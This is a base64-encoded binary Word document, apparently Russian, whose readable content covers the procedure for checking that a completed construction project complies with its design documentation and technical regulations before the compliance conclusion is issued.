AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEMARB BEEEPAQwBEIEQAQ4BDIEMAQ1BDwESwQ1BCAAMgQ+BD8EQAQ+BEEESwQgACgAOgRABDAEQgQ6BD4E KQA6AA0AHwRABD4ERgQ1BDQEQwRABDAEIAAyBEsENAQwBEcEOAQgADcEMAQ6BDsETgRHBDUEPQQ4 BE8EIAA+BCAAQQQ+BD4EQgQyBDUEQgRBBEIEMgQ4BDgEIAA/BD4EQQRCBEAEPgQ1BD0EPQQ+BDME PgQgAD4EMQRKBDUEOgRCBDAEIAA/BEAEPgQ1BDoEQgQ9BD4EOQQgADQEPgQ6BEMEPAQ1BD0EQgQw BEYEOAQ4BCAAOAQgAEIEQAQ1BDEEPgQyBDAEPQQ4BE8EPAQgAEIENQRFBD0EOARHBDUEQQQ6BDgE RQQgAEAENQQzBDsEMAQ8BDUEPQRCBD4EMgQuACAAEwRABDAERAQ4BDoEIABABDAEMQQ+BEIEIAA/ BD4EIABBBDQEMARHBDUEIAA+BDEESgQ1BDoEQgQwBCAAMgQgAE0EOgRBBD8EOwRDBDAEQgQwBEYE OAROBC4AIAAgBDAEMQQ+BEcEMARPBCAAPwRABDgENQQ8BD0EMARPBCAAOgQ+BDwEOARBBEEEOARP BCAAKABBBD4EQQRCBDAEMgQsACAAPgQxBE8ENwQwBD0EPQQ+BEEEQgQ4BCwAIAAwBDoEQgRLBCkA LgAgABQENQQ5BEEEQgQyBDgETwQgADgEQQQ/BD4EOwQ9BDgEQgQ1BDsETAQ9BD4EMwQ+BCAAPgRA BDMEMAQ9BDAEIAAyBDsEMARBBEIEOAQgAD8EQAQ4BCAAMgQyBD4ENAQ1BCAAPgQxBEoENQQ6BEIE MAQgADoEMAQ/BDgEQgQwBDsETAQ9BD4EMwQ+BCAAQQRCBEAEPgQ4BEIENQQ7BEwEQQRCBDIEMAQg ADIEIABNBDoEQQQ/BDsEQwQwBEIEMARGBDgETgQuACAAHgRBBD0EPgQyBD0ESwQ1BCAAPQQwBDQE NwQ+BEAEPQRLBDUEIAA8BDUEQAQ+BD8EQAQ4BE8EQgQ4BE8EIAA/BD4EIAA+BDEESgQ1BDoEQgQw BDwELAAgADcEMAQ6BD4EPQRHBDUEPQQ9BEsEPAQgAEEEQgRABD4EOARCBDUEOwRMBEEEQgQyBD4E PAQuACAAIQQ+BEEEQgQwBDIEIAA0BD4EOgRDBDwENQQ9BEIEPgQyBCwAIAA9BDUEPgQxBEUEPgQ0 BDgEPARLBEUEIAA0BDsETwQgAD8EPgQ0BD8EOARBBDAEPQQ4BE8EIABABDAENwRABDUESAQ1BD0E OARPBCAAPQQwBCAAMgQyBD4ENAQgAD4EMQRKBDUEOgRCBDAEIAAyBCAATQQ6BEEEPwQ7BEMEMARC BDAERgQ4BE4EIAAoADQEPgQ/BEMEQQRCBDgEPARLBDUEIAA9BDUENAQ+BEEEQgQwBEIEOgQ4BCAA NAQ7BE8EIAA/BD4EOwRDBEcENQQ9BDgETwQgADcEMAQ6BDsETgRHBDUEPQQ4BE8EIAA+BCAAQQQ+ BD4EQgQyBDUEQgRBBEIEMgQ4BDgEKQAuAA0AIgRABDUEMQQ+BDIEMAQ9BDgETwQgACEEPQQ4BB8E IAA4BCAANARABEMEMwQ4BEUEIAA9BD4EQAQ8BDAEQgQ4BDIEPgQyBCAAPwRABDgEIAA/BEAEPgQ1 BDoEQgQ4BEAEPgQyBDAEPQQ4BDgEIAA4BCAAQQRCBEAEPgQ4BEIENQQ7BEwEQQRCBDIENQQuACAA FAQ1BDkEQQRCBDIEQwROBEkEMARPBCAAQQQ4BEEEQgQ1BDwEMAQgAD0EPgRABDwEIAA4BCAAPwRA BDAEMgQ4BDsELgAgACIENQRFBD0EOARHBDUEQQQ6BDgENQQgAEAENQQzBDsEMAQ8BDUEPQRCBEsE IAAiBDAEPAQ+BDYENQQ9BD0EPgQzBD4EIABBBD4ETgQ3BDAEIAAyBCAAPgQxBDsEMARBBEIEOAQg ADEENQQ3BD4EPwQwBEEEPQQ+BEEEQgQ4BCAAOAQgAEEEQgRABD4EOARCBDUEOwRMBEEEQgQyBDAE LgAgAB4EMQQ3BD4EQAQgADQENQQ5BEEEQgQyBEMETgRJBDgERQQgADgEIAAyBDIEPgQ0BDgEPARL BEUEIABABDUEMwQ7BDAEPAQ1BD0EQgQ+BDIELgAgAB8EPgRABE8ENAQ+BDoEIAA+BEQEPgRABDwE OwQ1BD0EOARPBCAAIgQ1BEUEPQQ4BEcENQRBBDoEPgQzBD4EIABBBDIEOAQ0BDUEQgQ1BDsETARB BEIEMgQwBCAAPQQwBCAAPQQ+BDIEQwROBCAAPwRABD4ENARDBDoERgQ4BE4ELgANACEEPgQyBEAE NQQ8BDUEPQQ9BDAETwQgADcEMAQ6BD4EPQQ+BDQEMARCBDUEOwRMBD0EPgQtAD0EPgRABDwEMARC BDgEMgQ9BDAETwQgADEEMAQ3BDAEIAA4BD0EMgQ1BEEEQgQ4BEYEOAQ+BD0EPQQ+BC0AQQRCBEAE PgQ4BEIENQQ7BEwEPQQ+BDMEPgQgAD8EQAQ+BEYENQRBBEEEMAQgADIEIABCBC4ARwQuACAAPQQ+ BDIESwQ5BCAAEwRABDAENAQ+BEEEQgRABD4EOARCBDUEOwRMBD0ESwQ5BCAAGgQ+BDQENQQ6BEEE IAAgBCQEIAA4BCAANARABEMEMwQ4BDUEIAA0BD4EOgRDBDwENQQ9BEIESwQuACAAFwQwBDoEPgQ9 BD4ENAQwBEIENQQ7BEwEPQQ+BDUEIABABDUEMwRDBDsEOARABD4EMgQwBD0EOAQ1BCAAOAQgAD4E MQRJBDAETwQgAEUEMARABDAEOgRCBDUEQAQ4BEEEQgQ4BDoEMAQgADQEPgQzBD4EMgQ+BEAEPQRL BEUEIAA+BEIEPQQ+BEgENQQ9BDgEOQQgADIEIABBBEIEQAQ+BDgEQgQ1BDsETARBBEIEMgQ1BC4A IAAhBEQENQRABDAEIAA/BEAEOAQ8BDUEPQQ1BD0EOARPBCAANwQwBDoEPgQ9BD4ENAQwBEIENQQ7 BEwEQQRCBDIEMAQgAD4EMQQgADgEPQQyBDUEQQRCBDgERgQ4BD4EPQQ9BD4EOQQgADQENQRPBEIE NQQ7BEwEPQQ+BEEEQgQ4BC4ADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAALggAADAI AAA8CAAAPggAAEAIAABCCAAARAgAAJIMAACUDAAA4g4AAOQOAADevZzenHtaPCE8IQAAAAAAAAA1 FWgvUHoAFmgvUHoAQioBQ0obAE9KAwBQSgMAUUoDAF5KBABhShsAbkgZBHBoAAAAAHRIGQQ7FWgv UHoAFmgvUHoANQiBQioBQ0obAE9KAwBQSgMAUUoDAFwIgV5KBABhShsAbkgZBHBoAAAAAHRIGQRB FWgvUHoAFmhMShMANQiBNgiBPioBQioBQ0obAE9KAwBQSgMAUUoDAFwIgV5KBABhShsAbkgZBHBo AAAAAHRIGQRBFWgvUHoAFmhMShMANQiBNgiBPioBQioBQ0oYAE9KAwBQSgMAUUoDAFwIgV5KBABh ShgAbkgZBHBoAAAAAHRIGQRBFWgvUHoAFmg2ejkANQiBNgiBPioBQioBQ0oYAE9KAwBQSgMAUUoD AFwIgV5KBABhShgAbkgZBHBoAAAAAHRIGQRBFWgvUHoAFmiDJSsANQiBNgiBPioBQioBQ0oYAE9K AwBQSgMAUUoDAFwIgV5KBABhShgAbkgZBHBoAAAAAHRIGQRBFWgvUHoAFmgvUHoANQiBNgiBPioB QioBQ0oYAE9KAwBQSgMAUUoDAFwIgV5KBABhShgAbkgZBHBoAAAAAHRIGQQACwAIAABECAAAlAwA AOQOAAA6EQAA2hoAAEYbAABIHAAAwB0AAEgeAABoHwAAxh8AAMofAADMHwAA0B8AANIfAADWHwAA 2B8AANwfAAD1AAAAAAAAAAAAAAAA4wAAAAAAAAAAAAAAAOMAAAAAAAAAAAAAAADRAAAAAAAAAAAA AAAA0QAAAAAAAAAAAAAAANEAAAAAAAAAAAAAAADRAAAAAAAAAAAAAAAA0QAAAAAAAAAAAAAAAL8A AAAAAAAAAAAAAAC/AAAAAAAAAAAAAAAArQAAAAAAAAAAAAAAAKMAAAAAAAAAAAAAAAChAAAAAAAA AAAAAAAAowAAAAAAAAAAAAAAAKEAAAAAAAAAAAAAAACjAAAAAAAAAAAAAAAAoQAAAAAAAAAAAAAA AKMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAkAABJk8AABABSkAABnZExKEwAAEQAAAyQB EmTwAAEAE6RkABSkZABbJAFcJAFhJAFnZFwlYQASAAAKJgALRgEAEmTwAAEAE6RkABSkZABbJAFc JAFnZJow7wASAAAKJgALRgEAEmTwAAEAE6RkABSkZABbJAFcJAFnZDZ6OQASAAAKJgALRgEAEmTw AAEAE6RkABSkZABbJAFcJAFnZC9QegAACQAAEmTwAAEAFKRkAGdkmENIAAAS5A4AADgRAAA6EQAA ABgAANgaAADaGgAARBsAAEYbAABGHAAASBwAAL4dAADAHQAARh4AAEgeAABmHwAAaB8AAIQfAACG HwAAlB8AAOHGxOHG4cbhxuHGpoumi21PMQAAAAA7FWgvUHoAFmisfA0ANQiBQioJQ0owAE9KAwBQ SgMAUUoDAFwIgV5KBABhSjAAbkgZBHBoMwCZAHRIGQQ7FWgvUHoAFmiaMO8ANQiBQioJQ0owAE9K AwBQSgMAUUoDAFwIgV5KBABhSjAAbkgZBHBoMwCZAHRIGQQ7FWgvUHoAFmgvUHoANQiBQioJQ0ow AE9KAwBQSgMAUUoDAFwIgV5KBABhSjAAbkgZBHBoMwCZAHRIGQQ1FWgvUHoAFmiaMO8AQioBQ0ob AE9KAwBQSgMAUUoDAF5KBABhShsAbkgZBHBoAAAAAHRIGQQ7FWgvUHoAFmiaMO8ANQiBQioBQ0ob AE9KAwBQSgMAUUoDAFwIgV5KBABhShsAbkgZBHBoAAAAAHRIGQQDVQgBNRVoL1B6ABZoNno5AEIq AUNKGwBPSgMAUEoDAFFKAwBeSgQAYUobAG5IGQRwaAAAAAB0SBkEOxVoL1B6ABZoNno5ADUIgUIq AUNKGwBPSgMAUEoDAFFKAwBcCIFeSgQAYUobAG5IGQRwaAAAAAB0SBkEABIdBD4EQAQ8BDAEQgQ4 BDIEPQRLBDUEIAA0BD4EOgRDBDwENQQ9BEIESwQsACAAQAQ1BDMEOwQwBDwENQQ9BEIEOARABEME TgRJBDgENQQgAD8EPgRABE8ENAQ+BDoEIAAyBDIEPgQ0BDAEIAA3BDAEOgQ+BD0ERwQ1BD0EPQQ+ BDMEPgQgAEEEQgRABD4EOARCBDUEOwRMBEEEQgQyBD4EPAQgAD4EMQRKBDUEOgRCBDAEIAAyBCAA TQQ6BEEEPwQ7BEMEMARCBDAERgQ4BE4ELgAgABAENAQ8BDgEPQQ4BEEEQgRABDAEQgQ4BDIEPQRL BDkEIABABDUEMwQ7BDAEPAQ1BD0EQgQgAKsAEgRLBDQEMARHBDAEIABABDAENwRABDUESAQ1BD0E OAQ5BCAAPQQwBCAAMgQyBD4ENAQgAD4EMQRKBDUEOgRCBD4EMgQgADoEMAQ/BDgEQgQwBDsETAQ9 BD4EMwQ+BCAAQQRCBEAEPgQ4BEIENQQ7BEwEQQRCBDIEMAQgADIEIABNBDoEQQQ/BDsEQwQwBEIE MARGBDgETgS7AC4AIAAXBDAEOgQ7BE4ERwQ1BD0EOAQ1BCAAPgQgAEEEPgQ+BEIEMgQ1BEIEQQRC BDIEOAQ4BCAAPwQ+BEEEQgRABD4ENQQ9BD0EPgQzBD4ELAAgAEAENQQ6BD4EPQRBBEIEQARDBDgE QAQ+BDIEMAQ9BD0EPgQzBD4ELAAgAD4EQgRABDUEPAQ+BD0EQgQ4BEAEPgQyBDAEPQQ9BD4EMwQ+ BCAAPgQxBEoENQQ6BEIEMAQgADoEMAQ/BDgEQgQwBDsETAQ9BD4EMwQ+BCAAQQRCBEAEPgQ4BEIE NQQ7BEwEQQRCBDIEMAQgAEIEQAQ1BDEEPgQyBDAEPQQ4BE8EPAQgAEIENQRFBD0EOARHBDUEQQQ6 BDgERQQgAEAENQQzBDsEMAQ8BDUEPQRCBD4EMgQuAA0AIQQ+BEEEQgQwBDIEIAA4BEEEPwQ+BDsE PQQ4BEIENQQ7BEwEPQQ+BDkEIAA0BD4EOgRDBDwENQQ9BEIEMARGBDgEOAQgAD8EQAQ4BCAAQQQ0 BDAERwQ1BCAAPgQxBEoENQQ6BEIEMAQuAA0AEwQ+BEEEQwQ0BDAEQARBBEIEMgQ1BD0EPQQwBE8E IABABDUEMwQ4BEEEQgRABDAERgQ4BE8EIAA/BEAEMAQyBCAAPQQwBCAAMgQ9BD4EMgRMBCAAQQQ+ BDcENAQwBD0EPQRLBDkEIAA+BDEESgQ1BDoEQgQgAD0ENQQ0BDIEOAQ2BDgEPAQ+BEEEQgQ4BC4A IAATBD4EQQRDBDQEMARABEEEQgQyBDUEPQQ9BEsEOQQgADoEMAQ0BDAEQQRCBEAEPgQyBEsEOQQg AEMERwQ1BEIEIAA+BDEESgQ1BDoEQgQ+BDIEIAA9BDUENAQyBDgENgQ4BDwEPgRBBEIEOAQuAA0A HgRBBD0EPgQyBD0ESwQ1BCAAPgRIBDgEMQQ6BDgEIAAyBDsEOARPBE4ESQQ4BDUEIAA9BDAEIABB BEAEPgQ6BDgEIAAyBDIEPgQ0BDAEIAA+BDEESgQ1BDoEQgQwBCAAPQQ1BDQEMgQ4BDYEOAQ8BD4E QQRCBDgEIAAyBCAATQQ6BEEEPwQ7BEMEMARCBDAERgQ4BE4ELgAgAB8EQAQwBDoEQgQ4BDoEMAQg AD8EQAQ4BDIEOwQ1BEcENQQ9BDgETwQgADoEIAAwBDQEPAQ4BD0EOARBBEIEQAQwBEIEOAQyBD0E PgQ5BCAAOAQgAEMEMwQ+BDsEPgQyBD0EPgQ5BCAAPgRCBDIENQRCBEEEQgQyBDUEPQQ9BD4EQQRC BDgEIAA3BDAEIAA/BEAEMAQyBD4EPQQwBEAEQwRIBDUEPQQ4BE8EIAAyBCAAPgQxBDsEMARBBEIE OAQgAEEEQgRABD4EOARCBDUEOwRMBEEEQgQyBDAELgANAB4EQQQ+BDEENQQ9BD0EPgRBBEIEOAQg ADIEMgQ+BDQEMAQgADIEIABNBDoEQQQ/BDsEQwQwBEIEMARGBDgETgQgAD4EPwQwBEEEPQRLBEUE IAA/BEAEPgQ4BDcEMgQ+BDQEQQRCBDIENQQ9BD0ESwRFBCAAPgQxBEoENQQ6BEIEPgQyBC4ADQAe BEEEPgQxBDUEPQQ9BD4EQQRCBDgEIAAyBDIEPgQ0BDAEIAAyBCAATQQ6BEEEPwQ7BEMEMARCBDAE RgQ4BE4EIAA4BCAAPwQ+BEAETwQ0BD4EOgQgAD8ENQRABDUENAQwBEcEOAQgAD0EMAQgADEEMAQ7 BDAEPQRBBCAAOAQ9BDYENQQ9BDUEQAQ9BEsERQQgAEEENQRCBDUEOQQuACAAHwQ+BEAETwQ0BD4E OgQgADQEPgQ/BEMEQQQ6BDAEIAAyBCAATQQ6BEEEPwQ7BEMEMARCBDAERgQ4BE4EIAA+BDEEPgRA BEMENAQ+BDIEMAQ9BDgETwQgAEIENQQ/BDsEPgQyBEsERQQgAEMEQQRCBDAEPQQ+BDIEPgQ6BC4A DQAUBD4EPwQ+BDsEPQQ4BEIENQQ7BEwEPQRLBDUEIAAyBD4EPwRABD4EQQRLBCAAPwQ+BCAAQgQ1 BDsENQREBD4EPQRDBCAAPgRABDMEOgQ+BDwEOARCBDUEQgQwBA0AAwANAA0ABAANAA0AAwANAA0A BAANAA0AIgQ1BDsENQREBD4EPQQ6ACAAKAA4ADEAMgApACAANgA0ADIAIAA0ADcAIAA0ADMADQAN AA0ADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlB8AAJofAACiHwAAph8AAKwf AACuHwAAxB8AAMYfAADIHwAAzB8AAM4fAADSHwAA1B8AANgfAADaHwAA3h8AAOHDpYdpTj83Mzcz NzM3MwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhZo1lreAAAPA2oAAAAAFmjWWt4AVQgBHBVoL1B6 ABZo1lreAE9KAwBQSgMAUUoDAF5KBAAANRZoL1B6ADUIgUIqCUNKMABPSgMAUEoDAFFKAwBcCIFe SgQAYUowAG5IGQRwaDMAmQB0SBkEOxVoL1B6ABZoNno5ADUIgUIqCUNKMABPSgMAUEoDAFFKAwBc CIFeSgQAYUowAG5IGQRwaDMAmQB0SBkEOxVoL1B6ABZomjDvADUIgUIqCUNKMABPSgMAUEoDAFFK AwBcCIFeSgQAYUowAG5IGQRwaDMAmQB0SBkEOxVoL1B6ABZoXCVhADUIgUIqCUNKMABPSgMAUEoD AFFKAwBcCIFeSgQAYUowAG5IGQRwaDMAmQB0SBkEOxVoL1B6ABZoTEoTADUIgUIqCUNKMABPSgMA UEoDAFFKAwBcCIFeSgQAYUowAG5IGQRwaDMAmQB0SBkEOxVoL1B6ABZoAHbbADUIgUIqCUNKMABP SgMAUEoDAFFKAwBcCIFeSgQAYUowAG5IGQRwaDMAmQB0SBkEAA/cHwAA3h8AABAgAAASIAAAFCAA ABYgAAD9AAAAAAAAAAAAAAAA+wAAAAAAAAAAAAAAAP0AAAAAAAAAAAAAAAD9AAAAAAAAAAAAAAAA 6QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEAAAMkARJk 8AABABOkZAAUpGQAWyQBXCQBYSQBZ2RcJWEAAAEUAAABAAAABd4fAADsHwAA8B8AAPIfAAD4HwAA +h8AAA4gAAAQIAAAFCAAABYgAADz5NXGusawrJ0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAHBVoL1B6ABZo1lreAE9KAwBQSgMAUUoDAF5KBAAABhZo1lreAAASFWisfA0AFmhM ShMANgiBPioBABcWaC9QegA1CIE2CIE+KgFDSigAYUooAB0VaC9QegAWaC9QegA1CIE2CIE+KgFD SigAYUooAB0VaKx8DQAWaExKEwA1CIE2CIE+KgFDSigAYUooAB0VaKx8DQAWaI9I3wA1CIE2CIE+ KgFDSigAYUooABcWaDZ6OQA1CIE2CIE+KgFDSigAYUooAAAJLAAxkGgBH7CCLiCwxkEhsKUGIrBS AyOQbgQkkG4EJbAAABewxAIYsMQCDJDEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABqBBgAEgABAAsBDwAHAAUABQAFAAAA BAAIAAAAmAAAAJ4AAACeAAAAngAAAJ4AAACeAAAAngAAAJ4AAACeAAAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2AgAAdgIAAHYCAAB2AgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAAPgIAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAAKgAAAA2BgAANgYAABYAAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAALgAAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAABoAQAASAEAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2 BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYG AAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYA ADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAA NgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAANgYAADYGAAA2BgAAsAMAADYGAAAy BgAAGAAAAMADAADQAwAA4AMAAPADAAAABAAAEAQAACAEAAAwBAAAQAQAAFAEAABgBAAAcAQAAIAE AACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAMgYAACgCAADYAQAA6AEAACAEAAAwBAAAQAQA AFAEAABgBAAAcAQAAIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAEAABABAAA UAQAAGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAAMAQAAEAEAABQ BAAAYAQAAHAEAACABAAAkAQAAMADAADQAwAA4AMAAPADAAAABAAAEAQAACAEAAAwBAAAQAQAAFAE AABgBAAAcAQAAIAEAACQBAAAwAMAANADAADgAwAA8AMAAAAEAAAQBAAAIAQAADAEAABABAAAUAQA AGAEAABwBAAAgAQAAJAEAADAAwAA0AMAAOADAADwAwAAAAQAABAEAAAgBAAAMAQAAEAEAABQBAAA YAQAAHAEAACABAAAkAQAADgBAABYAQAA+AEAAAgCAAAYAgAAVgIAAH4CAAAgAAAAT0oFAFBKBQBR SgUAX0gBBG1IGQRuSBkEc0gZBHRIGQQAAAAATAAAYPH/AgBMAAwQAAAAAAAAAAAHAB4EMQRLBEcE PQRLBDkEAAAMAAAAEmQUAQEAFKTIABgAQ0oWAF9IAQRhShYAbUgZBHNIGQR0SAkEAAAAAAAAAAAA AAAAAAAAAAAAQgBBIPL/oQBCAAwNAAAAAAAAEAAVAB4EQQQ9BD4EMgQ9BD4EOQQgAEgEQAQ4BEQE QgQgADAEMQQ3BDAERgQwBAAAAABYAGkA8/+zAFgADA0AAAAAAAAwBg8AHgQxBEsERwQ9BDAETwQg AEIEMAQxBDsEOARGBDAEAAAcABf2AwAANNYGAAEKA2wANNYGAAEFAwAAYfYDAAACAAsAAAAuAGsg 9P/BAC4AAA0AAAAAAAAwBgoAHQQ1BEIEIABBBD8EOARBBDoEMAQAAAIADAAAAAAALABXYPL/8QAs AAwQAABMShMAYAEHACEEQgRABD4EMwQ4BDkEAAAGADUIgVwIgVoA/k8BAAIBWgAMAAAATEoTAAAA BwBzAHQAeQBsAGUAMQA3AAAAFgAQABJk8AABABOkZAAUpGQAWyQBXCQBHABDShgAT0oAAFBKAABR SgAAXkoAAGFKGAB0SBkEJAD+D6IAEQEkAAwAAABMShMAAAAGAHMAdAB5AGwAZQAyAAAAAABWAB8A AQAiAVYADAgTAExKEwAwBhIAEgQ1BEAERQQ9BDgEOQQgADoEPgQ7BD4EPQRCBDgEQgRDBDsEAAAX ABIAEmTwAAEAFKQAABXGCAACRRKLJAECAAAARgD+D6IAMQFGAAwAEgBMShMAMAYXABIENQRABEUE PQQ4BDkEIAA6BD4EOwQ+BD0EQgQ4BEIEQwQ7BCAAFwQ9BDAEOgQAAAAAVAAgQAEAQgFUAAwIFQBM ShMAMAYRAB0EOAQ2BD0EOAQ5BCAAOgQ+BDsEPgQ9BEIEOARCBEMEOwQAABcAFAASZPAAAQAUpAAA FcYIAAJFEoskAQIAAABEAP4PogBRAUQADAAUAExKEwAwBhYAHQQ4BDYEPQQ4BDkEIAA6BD4EOwQ+ BD0EQgQ4BEIEQwQ7BCAAFwQ9BDAEOgQAAAAAVACZQAEAYgFUAAwJFwBMShMAMAYNACIENQQ6BEEE QgQgADIESwQ9BD4EQQQ6BDgEAAAMABYAEmTwAAEAFKQAABQAQ0oQAE9KBgBRSgYAXkoGAGFKEABQ AP5v8v9xAVAADAEWAExKEwAwBhIAIgQ1BDoEQQRCBCAAMgRLBD0EPgRBBDoEOAQgABcEPQQwBDoE AAAUAENKEABPSgYAUUoGAF5KBgBhShAAUEsDBBQABgAIAAAAIQDp3g+//wAAABwCAAATAAAAW0Nv bnRlbnRfVHlwZXNdLnhtbKyRy07DMBBF90j8g+UtSpyyQAgl6YLHjseifMDImSQWydiyp1X790zS VEKoIBZsLNkz954743K9Hwe1w5icp0qv8kIrJOsbR12l3zdP2a1WiYEaGDxhpQ+Y9Lq+vCg3h4BJ iZpSpXvmcGdMsj2OkHIfkKTS+jgCyzV2JoD9gA7NdVHcGOuJkTjjyUPX5QO2sB1YPe7l+Zgk4pC0 uj82TqxKQwiDs8CS1Oyo+UbJFkIuyrkn9S6kK4mhzVnCVPkZsOheZTXRNajeIPILjBLDsAyJX89n IBkt5r87nons29ZZbLzdjrKOfDZezE7B/xRg9T/oE9PMf1t/AgAA//8DAFBLAwQUAAYACAAAACEA pdan58AAAAA2AQAACwAAAF9yZWxzLy5yZWxzhI/PasMwDIfvhb2D0X1R0sMYJXYvpZBDL6N9AOEo f2giG9sb69tPxwYKuwiEpO/3qT3+rov54ZTnIBaaqgbD4kM/y2jhdj2/f4LJhaSnJQhbeHCGo3vb 